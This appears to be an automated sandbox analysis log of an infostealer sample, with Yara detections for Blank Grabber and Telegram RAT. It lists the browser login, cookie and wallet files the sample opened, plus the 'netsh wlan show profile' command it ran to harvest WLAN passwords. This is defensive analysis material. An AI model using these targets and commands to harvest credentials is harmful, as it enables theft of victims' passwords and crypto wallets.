Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 0_2_00007FF633D6D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF633D6D010

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 0_2_00007FF633D85C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF633D85C00

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C448CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

68_2_00007FF702C448CC

Source: C:\Users\user\Desktop\HeilHitler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000000.00000003.1680543056.0000028B92082000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680543056.0000028B92084000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2024405519.000001BD43030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2017807345.000001BD43E2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HeilHitler.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HeilHitler.exe PID: 7448, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI74322\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: HeilHitler.exe PID: 7448, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: com.liberty.jaxx
Source: HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Roaming\Exodus\exodus.wallet
Source: HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Roaming\Ethereum\keystoredata
Source: HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Roaming\Exodus\exodus.wallet
Source: HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Roaming\Ethereum\keystoredata
Source: HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Local\Coinomi\Coinomi\wallets
Source: HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Roaming\Ethereum\keystoredata

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
